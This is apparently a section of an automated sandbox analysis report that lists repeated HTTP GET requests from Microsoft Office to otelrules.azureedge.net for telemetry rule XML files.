Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
